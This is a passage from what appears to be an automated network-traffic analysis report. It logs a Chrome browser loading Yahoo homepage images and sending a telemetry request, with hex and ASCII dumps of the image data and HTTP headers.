57 ce 13 65 5e e0 d8 9d 76 80 d8 fd 50 Data Ascii: v2mYq2Ivj!U%lfS#D{#6ay2w1%Q%&'[d!]m{t<v4J_%r3.-%#)TxAKJ2^} nTmq\|+U;<FQ99goae1xVKugt)<"E++'RGzjF5GwepTG2!We^vP
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: d3 6d f2 4f 1a e2 d4 86 18 a0 4b 50 28 54 f7 a6 91 2e 92 95 3a b4 58 ac f7 f5 b4 60 9c 5c 8d 98 ff 00 f1 a8 48 ef 1e 55 36 86 64 9d c3 93 6d 64 51 56 6e 6a cd f4 ee 02 c2 30 e5 c0 9a 3a 98 f7 1c 97 03 e5 3b 89 52 0a 53 55 09 49 d0 87 db bd 9b 59 b1 11 cc 7a de ac d2 b2 36 2b 95 c7 6f 54 1e 33 33 b4 67 a7 90 77 4a 26 6c bf ee e5 06 09 63 f5 0d 34 3c 4e 48 ad be 55 4e 43 0e 3e 85 a9 39 88 76 6d 46 d7 ee 36 89 43 bb 31 ec 49 8b 40 49 46 1e 93 5e 6b 9f fc 61 4f 67 a1 d7 bf 5f 94 54 48 d2 a3 d1 50 6f d2 3e ce cf cf 69 50 34 f9 42 db 2d 72 4b a7 24 24 ff 00 a1 e9 9a 6e 5d 0d bc a6 d3 75 27 48 c3 ed fd e3 a9 f8 c9 61 b6 1b 85 c7 2e 89 30 3f 61 d3 ff 00 2a 61 39 d1 a3 5b 9e 84 b8 c2 60 84 c9 00 34 28 57 e5 1a 34 b8 ec 4f 91 f8 23 89 74 28 5b 68 df 69 b3 8f 40 0a Data Ascii: mOKP(T.:X`\HU6dmdQVnj0:;RSUIYz6+oT33gwJ&lc4<NHUNC>9vmF6C1I@IF^kaOg_THPo>iP4B-rK$$n]u'Ha.0?a*a9[`4(W4O#t([hi@
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: b0 f2 fb da 0d e6 e6 38 95 88 e6 12 ab ad 53 61 2a 3d f9 5b 42 7f f6 db d2 30 44 f4 fa f1 20 fc 11 95 6e 6f 8d 34 16 dc e8 f2 6c 7b b3 38 84 ff 00 ee 89 9b 84 6a f5 3b bd e1 99 45 47 72 63 0c 81 40 e5 ce 5b 75 80 45 fb 31 48 50 b6 d0 d4 15 03 0a 03 50 91 10 a0 f4 28 11 71 16 10 2c d7 81 64 32 28 86 d3 6e e8 81 c4 cc b1 02 04 94 88 09 32 1a 80 90 48 1c 52 09 19 0b 08 c8 85 a0 49 57 84 00 41 85 a2 ea 72 85 24 79 c0 c9 11 0a 12 8c a8 4a 6f 7b 42 d8 f8 03 4e 90 23 13 a0 f6 45 de 4e 97 81 89 42 89 c1 76 d2 85 b7 96 dd 73 03 06 95 90 6d 79 b4 a9 b5 04 9b e9 14 41 a1 f0 1a 39 5d 4d b4 d0 f7 c4 40 be 08 b6 24 9d 61 94 e4 51 17 b1 30 51 42 26 57 d5 09 c2 fb b9 9a 39 46 b7 1e 97 fc a3 4c 50 97 d8 42 01 50 4a 8e e6 ff 00 f2 c3 0b 62 b9 61 95 c1 e5 14 2d 8a d4 bb fa Data Ascii: 8Sa*=[B0D no4l{8j;EGrc@[uE1HPP(q,d2(n2HRIWAr$yJo{BN#ENBvsmyA9]M@$aQ0QB&W9FLPBPJba-
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: e9 ff 00 49 c1 ad c9 cd fe ad 9b 60 b1 a4 5f a6 e1 f9 6f d1 54 b2 12 1a 48 0b 74 ee b3 de 7e bf 38 6c 62 be 09 f9 6e 5c 36 31 cf d4 9c 7b 98 fb f3 29 69 a4 1d 4a 8d a1 d1 8d 74 23 24 97 6c 87 55 b8 81 87 a4 5d 50 a6 d3 95 51 99 46 ce bc e9 ca 3c 80 8b a4 bb 33 fe 4b 5f e2 33 ae 67 15 e2 d9 84 72 e5 56 d8 72 f9 52 84 d8 45 39 61 5d b2 d2 cf 9d 93 2c 37 c0 ac 5f 5d 5a 0c c4 cb 8d 85 6c 0d ff 00 9e b1 cf 7e 4b 02 e8 ef 6a f8 cc d5 c9 68 51 7d 98 66 a5 db 0e 3f 52 98 5f 75 af fc e3 97 b5 e4 d7 c1 da d6 f1 bc fe c3 eb 7e ce 6f fd d9 a5 7f 79 17 fc e3 8d 3f 27 c9 d3 8f 8c c2 bb 1c a9 fc 09 ac 4a 37 90 f2 9c 1f bc 9b c6 49 f9 3a 36 c3 57 12 ec 71 6f 84 75 09 53 9d b9 66 90 7b c0 d6 39 f9 3c 91 a1 6b 61 5d 07 31 c3 49 e4 a9 61 f9 60 ea 55 ba 42 02 bf 11 a4 66 97 Data Ascii: I`_oTHt~8lbn\61{)iJt#$lU]PQF<3K_3grVrRE9a],7_]Zl~KjhQ}f?R_u~oy?'J7I:6WqouSf{9<ka]1Ia`UBf
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 32 c8 d1 8e d3 dd 32 88 5c bb 4d be d8 2a 7f 98 c0 bb 96 06 d7 51 ea 34 ee 89 ec 2e 51 1f f0 ae 3c 66 a1 32 de 1e a8 b4 cc bc da 1b 3c b5 27 40 e1 1d 08 e8 63 6e 16 0b 74 a8 96 e7 03 a4 3e 32 49 98 9c 0d 2b 58 6a 16 d0 64 93 a2 56 7a 5a 69 42 e9 69 c4 ac 8f 00 41 86 7a fb 45 8d d6 fd 64 4d e9 ea 97 9f 96 aa d5 65 9e 5a 91 30 c9 40 4a 9b b1 19 50 a1 eb bc 72 dd 9d ee e2 33 d4 65 a5 d5 82 25 67 1d 6d 2b 98 bf 29 2b 23 50 0a 8d fe 7a 7c a3 4e b3 7f 76 8c 3b 09 7d 9e 08 b5 c7 7c 74 4e 38 3c c8 4e ae 2f 2a 46 aa 3d c2 2a 56 91 12 b1 e1 cc 32 a7 5b 4b f4 9a a3 53 89 3a fd 90 17 b7 96 6b fd 23 23 cd fc 9a 96 9a 6a d3 32 62 8f 3c d3 5a e5 17 16 ed 05 26 ff 00 e2 00 7d 60 96 6a 2b f0 a5 7c 31 b1 fa 65 4a 45 01 d9 a9 45 a5 2a f8 54 35 49 1e 63 48 35 9d 08 cf 83 26 Data Ascii: 22\MQ4.Q<f2<'@cnt>2I+XjdVzZiBiAzEdMeZ0@JPr3e%gm+)+#Pz\|Nv;}\|tN8<N/F=V2[KS:k##j2b<Z&}`j+\|1eJEET5IcH5&
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: da 9a 98 97 6d c6 9a 7d 48 43 e8 c8 e0 49 b6 61 14 f5 95 d9 91 4b 21 a0 7c 6f 0d 71 27 3f 20 db eb 0a 90 6c 92 e0 9d 27 66 97 6d a5 cf fc c2 32 66 5c a3 4e 08 f0 33 2d 29 0a 27 c6 1b 15 fc 8a 9c 79 1c 24 95 93 08 d7 d5 6b d9 b0 9d fc bf fd a3 2e ef fb 4d be 3e 3d a3 c9 3c 4b 30 95 4d 4c 94 6a 16 b5 2c 79 12 62 d2 a3 d5 60 54 8b 1f d9 32 59 a7 b1 9e 24 79 63 b6 cb 12 a8 41 fe 26 e6 c1 3f 23 19 b6 59 6f b3 a8 40 ee 11 81 11 07 21 4b 27 b4 6f 04 95 84 2b 69 77 16 ef 8a 17 24 1e 0e 51 7d ef 10 ae 80 c4 28 39 31 03 07 97 c6 20 31 76 68 24 8e b1 54 1a 05 9a de b1 41 a3 10 6e 62 16 1a 08 b4 24 80 6e 06 e6 29 84 81 15 df a4 0c 95 0c 35 9a 01 92 e8 c4 ac 9d c8 f9 18 06 10 2c c1 5d 22 88 6d 0a 02 fa c0 05 10 c3 94 0b 1d 47 75 84 53 56 3d 06 04 0d 6c 90 3c b4 81 2c Data Ascii: m}HCIaK!\|oq'? l'fm2f\N3-)'y$k.M>=<K0MLj,yb`T2Y$ycA&?#Yo@!K'o+iw$Q}(91 1vh$TAnb$n)5,]"mGuSV=l<,
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 61 68 cf b1 2f 44 ec e9 6a 2f 66 44 19 4e 46 c3 7d d1 e1 f7 36 ed d1 ec 21 04 97 41 e7 c2 39 96 d9 a5 24 11 33 33 2f 26 d7 32 62 65 0d 8e 81 46 d7 82 50 94 b8 a0 fd a2 88 bd 4b 8a 98 2a 8e b0 26 2b 0d 2b 36 d9 0d c9 f4 8e 82 f1 1b 32 5d 19 65 bb ae ae d9 0b ae fb 4a 51 5c 43 b4 6a 1c 92 d6 e4 cf d8 97 56 7e 10 7a 81 68 db a7 e0 36 2e d9 e7 b6 fc ae 17 c2 2b ca 6d 26 47 f4 d3 0e a1 7c c9 a7 13 9c a1 49 da fe 37 8f 55 fe 11 f5 67 2e 4d 4e 5e c7 79 7b 2f 60 4a 2d 03 00 49 d5 d3 4e 6d 33 53 6e 3a e2 9c ca 2e a1 9c 80 4f a0 8c b2 90 71 8a bb 2e b7 5e b2 74 84 4e 6f a3 6e 28 2b b1 0b ca 52 8e 91 86 71 47 47 1c 9f 42 45 dd 3a 81 19 24 a8 d7 15 41 45 cb 1b 08 44 e8 72 0b 71 05 5a 6f 18 72 3e 46 c4 24 b7 97 a4 64 c8 db 34 c0 0f bb b8 a3 74 a7 68 c1 35 c9 a1 30 b7 Data Ascii: ah/Dj/fDNF}6!A9$33/&2beFPK*&++62]eJQ\CjV~zh6.+m&G\|I7Ug.MN^y{/`J-INm3Sn:.Oq.^tNon(+RqGGBE:$AEDrqZor>F$d4th50

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49912	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	356	OUT	GET /g/images/spaceball.gif HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	836	IN	HTTP/1.1 200 OK x-amz-id-2: SVVvgikFr9yhJgnRYTTJYbNKSq5DwYnY2we6MZDeH6D9xTp8jJePGpvfb7bNSezhSoYorsw6Bnc= x-amz-request-id: 9YW3VCX20WFAS38A Date: Wed, 10 Jan 2024 21:55:51 GMT Last-Modified: Wed, 24 Feb 2021 23:21:03 GMT ETag: "325472601571f31e1bf00674c368d335" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: KAUQOG5o0gBSJgl4c2JS9bVGo5z87pfq Accept-Ranges: bytes Content-Type: image/gif Server: ATS Content-Length: 43 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 5483 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:27:14 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49914	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	511	OUT	GET /uu/api/res/1.2/8tjF7T4GR70djFWTwZRQYw--~B/Zmk9c3RyaW07aD0yODQ7cT04MDt3PTUzNjthcHBpZD15dGFjaHlvbg--/https://media.zenfs.com/en/people_218/6be7c0bb2afb25be1f85ac48c6a2959e.cf.webp HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:14 UTC	1293	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Cache-Control: public, max-age=2592000 Cache-Tag: 480887048833509370342813145391988282800,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Content-Disposition: inline; filename="6be7c0bb2afb25be1f85ac48c6a2959e.webp" Edge-Cache-Tag: 480887048833509370342813145391988282800,356877439733950042672361323857004834920,ae7a14591aaf8d474cdb3f92111c923e Etag: "e172ee9783eeefd34d1026450862b6a3" Expiration: expiry-date="Tue, 09 Jul 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 10 Jan 2024 06:16:50 GMT Server: ATS Surrogate-Reporting: width=536,height=284,bytes=14256,owidth=1500,oheight=1000,obytes=148259,ef=(1,13,17,23,30) Timing-Allow-Origin: * Accept-Ranges: bytes Date: Wed, 10 Jan 2024 23:27:14 GMT X-Served-By: cache-iad-kjyo7100151-IAD X-Cache: Miss from cloudfront, MISS X-Cache-Hits: 0 X-Timer: S1704929234.991009,VS0,VE92 Age: 4 Strict-Transport-Security: max-age=31536000 cld_cache: Miss from cloudfront, MISS cld_hits: 0 cld_by: cache-iad-kjyo7100151-IAD cld_latency: 92 Referrer-Policy: no-referrer-when-downgrade Vary: Accept Content-Length: 43122 Connection: close
2024-01-10 23:27:14 UTC	178	IN	Data Raw: 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c 6f 63 6b 0d 0a 58 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 2d 4f 70 74 69 6f 6e 73 3a 20 6e 6f 73 6e 69 66 66 0d 0a 0d 0a Data Ascii: Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=blockX-Content-Type-Options: nosniff
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b 09 09 0d 11 0d 0e 0f 10 10 11 10 0a 0c 12 13 12 10 13 0f 10 10 10 ff db 00 43 01 03 03 03 04 03 04 08 04 04 08 10 0b 09 0b 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 ff c0 00 11 08 01 1c 02 18 03 01 11 00 02 11 01 03 11 01 ff c4 00 1d 00 00 00 07 01 01 01 00 00 00 00 00 00 00 00 00 00 02 03 04 05 06 07 08 00 01 09 ff c4 00 60 10 00 01 02 04 04 02 05 06 07 09 09 0d 07 03 05 00 01 02 03 00 04 05 11 06 07 12 21 31 41 08 13 22 51 61 14 32 71 81 91 a1 15 23 Data Ascii: JFIFCC`!1A"Qa2q#
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 1c 95 9d 09 3f c5 82 ec 8d e1 e5 36 dc d1 79 d5 58 21 dd 44 fa 0d e3 cf b5 38 c8 b7 fe 4d b5 f0 8a 67 71 04 92 66 94 d3 28 75 f5 0e 01 09 bc 74 99 1b aa 84 52 d2 33 56 3b 93 b2 5f f7 b1 54 9d c3 cf d5 68 f4 f0 1c 93 97 f2 87 cb 97 f3 4a d2 90 05 8f 7a a3 2a 5b e6 b2 fd 96 f4 f0 d3 5c 8f 39 7f 86 67 a6 4c bd 4a 7e 94 bd 69 ed 21 c4 27 64 ac 11 6b fa 7d bb 6d 78 85 ef 7a af b9 13 47 0f 4d f0 2c c6 79 61 8a 2a b5 19 9c 45 2c e8 9b 0e 94 92 d0 6c a5 49 00 5b 48 bf 13 b7 0d 8f ba 33 be ab ea 35 ad b1 67 8f e8 45 d1 5b cc 32 eb 4e 96 9e 49 4a 90 6c 52 78 88 f4 4c 36 bc 15 18 5a d6 dd b0 ad 3e 30 f9 b2 22 da c0 b4 11 4f a7 a1 6e 27 b6 e7 6d 67 bf b8 44 0d 91 36 c9 70 16 86 8d 3d 80 00 c0 07 40 07 40 00 20 00 b4 c0 35 9d a7 c6 01 0e d3 e3 00 01 52 77 1b f0 80 0b Data Ascii: ?6yX!D8Mgqf(utR3V;_ThJz[\9gLJ~i!'dk}mxzGM,yaE,lI[H35gE[2NIJlRxL6Z>0"On'mgD6p=@@ 5Rw
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: e2 fb 0d 36 0f 69 c5 9e 00 0e ee f3 c8 6f 15 32 b2 96 32 e4 58 a6 d9 08 7a 51 18 59 d5 54 27 d9 6e a1 5e 9e 58 52 b5 5c 69 f0 d8 13 61 7d 92 38 0e 37 3b c7 1f 99 99 f5 2c ea 31 20 bc 7a 25 f8 3e 89 9a 55 9d 06 66 49 43 57 e2 d0 d6 b4 04 a3 96 94 ed 7e 7c e3 33 c9 22 ef 87 93 2d 29 6c 3b 99 52 12 c5 b1 86 d3 38 d8 40 52 90 e2 02 b4 f1 b8 37 1c 00 b6 db 40 b5 92 24 f4 2c a2 b3 ef 28 71 c6 2c 95 6e 65 ba 03 94 ed 48 50 5a 5b 73 52 36 b6 f6 bd ed e1 ef 89 a1 91 44 52 c5 72 ec cd 79 8b 85 27 b0 8d 3a 5e 52 77 ad 45 46 59 f0 b6 8a 52 10 08 d2 92 14 85 00 08 37 bf 38 d0 c4 d4 be cc 6c cc 3f 0e 4d 5d 95 39 ad 2f 9c 59 3d e5 93 ee 83 5d a2 a5 b6 6a a8 e0 43 82 c3 ad b7 2d 49 ba af df a8 72 bc 74 d8 b3 5d 19 4f 81 6b e8 d7 4e ec f1 68 ee 22 fb e4 85 91 4c bb 2a a7 Data Ascii: 6io22XzQYT'n^XR\ia}87;,1 z%>UfICW~\|3"-)l;R8@R7@$,(q,neHPZ[sR6DRry':^RwEFYR78l?M]9/Y=]jC-Irt]OkNh"L*
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 22 f6 1e a5 3e 4c ec e8 5c 59 9b fa 37 57 a7 b0 9e 68 4b ca 17 9c 44 ad 75 b5 d1 e6 d1 7b 00 e3 96 08 24 70 3d a1 6d f9 13 1d 26 1e af 27 27 38 f2 6a f9 75 f5 d2 ab 29 e2 5b d5 1b f1 e8 aa f8 64 46 84 34 e7 55 09 7c 35 2d 27 fd 9a c4 64 eb fc c6 82 f8 4d 36 93 12 15 91 c4 de 01 18 8a ae e0 45 36 61 5d cd ab e8 89 20 21 42 d4 13 fb 80 84 2b e4 b6 93 ee 11 6a 22 32 a6 cc 61 f8 6c 92 c8 b1 32 e3 e9 31 97 9f dd 97 71 78 34 f6 58 0b 65 e6 1d 36 ff 00 27 33 f5 62 ce 27 30 a2 1c 8e c9 2b 8e 10 09 07 71 16 08 10 5a a6 9c 50 00 c2 58 a2 65 3e 78 91 0a 06 79 ce 45 5a b9 88 57 f3 65 c7 bd a0 61 b2 e9 82 7c 99 cd b5 dd 23 6e 51 ce 65 47 ee 35 71 ba 36 86 5a 10 9c be c3 89 50 b2 8d 35 85 11 e0 50 08 8d 9c 4f 80 a9 93 f9 12 2d 68 49 d8 88 97 c7 8b 2b a1 a9 31 a0 44 09 Data Ascii: ">L\Y7WhKDu{$p=m&''8ju)[dF4U\|5-'dM6E6a] !B+j"2al21qx4Xe6'3b'0+qZPXe>xyEZWea\|#nQeG5q6ZP5PO-hI+1D
2024-01-10 23:27:14 UTC	777	IN	Data Raw: ae 55 ee 12 a5 36 74 9b 1e 20 1f 11 0d dc ee 3a 05 cc 45 7a c3 6d 3e 79 aa b5 66 5e 45 08 4a 18 68 02 a0 d8 d8 29 60 f6 41 f0 03 87 2d 51 c5 6b ba 3a 6c 58 f2 6b 5c 0f 28 db 8d 34 e9 1b 69 1a 53 dc 00 e1 19 cd 5b 36 e3 14 91 6d 61 64 76 16 e9 3b 26 d7 f7 c5 ec 78 a2 8e 53 6c 92 b8 df 5b 26 02 6d 7b 18 92 71 54 52 d3 97 3c 95 a6 20 a6 4c 25 6e 36 4e e2 28 6a 23 52 12 4d 14 2e 6f d3 65 a7 a9 33 8d 3a 84 ea 6d 3e 75 b8 f8 18 86 a8 6c 95 9f 3d e7 a7 29 d4 1c c4 95 ae a5 ab aa 4a 6d a5 ce 21 26 d7 29 70 1f 6e d6 bf 13 ce e7 8f 5b 81 2e 8e 6f 36 2a cd 43 48 79 a7 65 90 eb 2e a5 c6 d6 ce ca 1c f6 bf db 1d 46 9f dc ad 18 b2 e1 f2 47 b0 e9 be 75 e1 f4 81 f9 25 ab d8 cb b1 97 90 bd e2 fc 79 d1 34 96 bd 22 e4 de 1c 55 fd 01 2f a4 83 6d e0 10 47 3d 67 a5 9d 6d 7e 6a Data Ascii: U6t :Ezm>yf^EJh)`A-Qk:lXk\(4iS[6madv;&xSl[&m{qTR< L%n6N(j#RM.oe3:m>ul=)Jm!&)pn[.o6*CHye.FGu%y4"U/mG=gm~j
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: b5 ca 54 bb 48 44 d4 dc 8b d3 29 6e d6 48 70 27 50 b7 a5 42 fe 92 62 1f d9 2e 4a ae 51 9f 72 49 8c 45 51 c8 9a 89 c5 32 8e 36 f3 33 69 53 05 63 b4 e4 b8 65 bb 38 4f 3b fd 91 af 81 24 b5 f8 31 33 23 e5 a0 23 8e d5 74 73 8f 83 a0 61 d0 96 a7 36 dc 9c 9a 9c 59 dd 44 24 46 4e e9 92 f1 f4 59 7f 6d c7 5a fa bc 8f 78 8c 2a 99 42 90 c2 72 ee 90 1f 6d 33 93 c4 7e 54 ab 70 0f 78 b8 e1 e0 23 23 66 c5 f2 7e b4 bf fc 2d 6e 39 35 ec 8c 7d 42 12 90 02 05 bb ad c2 3a b4 af 83 09 ba 22 2f 36 f6 5b e2 c9 5c 6b 40 f8 89 67 de 0d cf cb 25 3f 16 b4 1e 20 8f 1d cf 81 02 39 fd eb 1f c7 ee 46 a6 dd 90 db f1 26 f9 8d 30 cd 1d 91 52 90 58 32 53 69 44 c2 0a 76 1a 5c e6 3d 91 45 64 bc 9c 2a 5d 97 29 63 eb db fd 82 c4 92 52 18 87 0f 61 ca 82 e5 59 98 90 12 49 d2 97 5b 0b 4a 5d 36 d4 Data Ascii: THD)nHp'PBb.JQrIEQ263iSce8O;$13##tsa6YD$FNYmZxBrm3~Tpx##f~-n95}B:"/6[\k@g%? 9F&0RX2SiDv\=Ed])cRaYI[J]6
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 92 a6 4f e4 3c 15 a1 3b 28 da 25 49 95 d0 91 0a 26 fb c5 d2 20 c4 93 00 06 83 70 41 e6 2c 62 39 2e 18 91 7c a3 33 ac e8 75 c6 88 dd 0a 29 8e 3e 5d b3 a6 5d 20 0a 56 a8 8a ec 7a 54 1c 0f e0 4e 03 c9 57 8e 83 61 fd 99 99 bd 08 cf 18 eb 0c a4 16 78 40 2a 00 38 98 09 02 97 ca 04 22 23 98 ab b2 a9 45 77 a8 fd 91 cc 7f 25 5c 44 d2 c4 ec 90 32 fb 73 54 36 96 85 5f 4b aa 41 f5 00 7e d8 3f 8d fc 43 77 3f 90 4a 05 f9 c7 4c 65 55 9c 94 dc da fc 62 2c ae 34 98 47 b2 49 45 c3 8d 62 07 a9 d4 c9 a9 7e b1 c9 a9 20 18 6e fb a9 62 d7 b7 88 04 9b 78 18 f3 89 71 27 47 55 89 5e 26 a5 c9 20 c4 cb 6b a2 be ca 57 2c 4e 82 93 e8 8c dc 96 d3 34 b4 22 9f 26 b2 c3 98 5e 42 87 4e 5c e3 0d a9 08 68 6b 4b 68 b2 35 58 73 50 1a bd f0 8a 56 89 1c 55 f4 41 30 04 c0 ae e6 3c e4 e9 79 1d 70 Data Ascii: O<;(%I& pA,b9.\|3u)>]] VzTNWax@*8"#Ew%\D2sT6_KA~?Cw?JLeUb,4GIEb~ nbxq'GU^& kW,N4"&^BN\hkKh5XsPVUA0<yp
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: ca d7 0c 57 24 26 f3 57 14 4d d3 1d 9b f8 3e 6d 44 b0 66 8a 8b ae a5 17 08 71 45 5d ab a8 76 8d f9 ab 91 06 3a cd ad ae 8e 37 74 5f 51 af c0 f9 40 09 19 cf 42 db f2 0e f3 ff 00 f1 de 8b 19 0e f5 84 d0 5e 3a 06 82 eb cf 84 3c 80 07 5c a8 12 b0 0a 99 74 89 77 3d 11 34 17 23 0a 6e a2 e5 a8 48 16 f9 00 c5 cd 31 2c a6 33 12 7b 5d 52 55 bd 61 5d 5c aa 07 eb 2a 32 73 63 7a a5 cc 69 23 51 65 bb 87 ef 12 83 71 fe 4e 97 ff 00 76 22 4d 27 e2 88 b2 39 64 85 6e 5e db 44 8d d9 02 40 12 bf 08 22 ac 72 74 01 4e 08 73 5c 0d 4a 8c e5 9b 2e 15 3b 8a 1c b7 1d 7f ee c4 2e a2 ad 11 52 e4 a1 d9 f3 53 e8 8c 09 d5 b3 57 1f 84 6c 7c 3a ea 19 c3 74 66 94 6c 13 4c 94 48 f1 b3 49 8d cc 4f 88 a9 93 f9 0e 21 68 56 e9 55 e2 54 57 5d 05 b7 ce 2c 91 06 26 15 0d 90 6a 61 25 c4 58 da 7e 48 Data Ascii: W$&WM>mDfqE]v:7t_Q@B^:<\tw=4#nH1,3{]RUa]\*2sczi#QeqNv"M'9dn^D@"rtNs\J.;.RSWl\|:tflLHIO!hVUTW],&ja%X~H
2024-01-10 23:27:14 UTC	1300	IN	Data Raw: 79 3c ec bb 6a 53 4f 20 f0 26 c2 e8 57 7a 4e e3 c4 58 c4 78 9b a6 86 b7 12 17 e9 1d 8e f9 6d 95 75 cc 4d 5d a6 d6 6a b4 f7 29 d4 6a 7c cb 53 6f 4c ce 20 b7 e6 a8 69 d2 93 e7 59 5a 49 3e 68 00 dc c5 7d d3 2f 42 7c 44 b5 a5 8c d1 4f 62 9a 76 1d c5 d9 dd 8d f1 6a 27 1a 9d a1 26 7d e4 cb cd a3 f1 6f 0e 27 41 e6 91 c9 5c 0f a8 db 9b 6e cb f0 8f 8a a2 09 96 59 ab a3 39 e6 69 94 e6 dd 5d 32 69 d5 99 75 27 60 d9 6f 55 ac 39 5d 2a 58 e3 c5 40 45 79 ab 34 30 f2 7c 1d 33 e8 96 5b e2 39 49 d6 25 d6 eb e0 0b 02 9f 5c 57 a4 8d 9d 75 6a d0 75 4b 14 e1 f9 8c 7d 2d 4e 7a ad 2d 2a fb 2d f5 e1 0f af 4a 96 81 6b 9b 44 a8 ab 14 d2 3b 0e e2 fc 3a f6 2b 9a a6 53 2b 32 53 f3 2c 38 4a 99 97 78 2d db 1e 65 02 e4 0d b8 98 41 cd 5a 26 d5 0a f5 21 a9 05 3e 87 ca dc 57 16 d2 9e 70 c9 Data Ascii: y<jSO &WzNXxmuM]j)j\|SoL iYZI>h}/B\|DObvj'&}o'A\nY9i]2iu'`oU9]X@Ey40\|3[9I%\WujuK}-Nz--JkD;:+S+2S,8Jx-eAZ&!>Wp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49792	66.218.87.15	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:13 UTC	1513	OUT	POST /p?s=2023538075&t=1704929233378&_I=&_AO=0&_NOL=0&etag=performance&etrg=backgroundPost&outcm=performance&usergenf=0&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&test=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&pd=unknown&pt=home&A_utm=%7B%22GAM_READY_TIME%22%3A6238%7D HTTP/1.1 Host: geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; 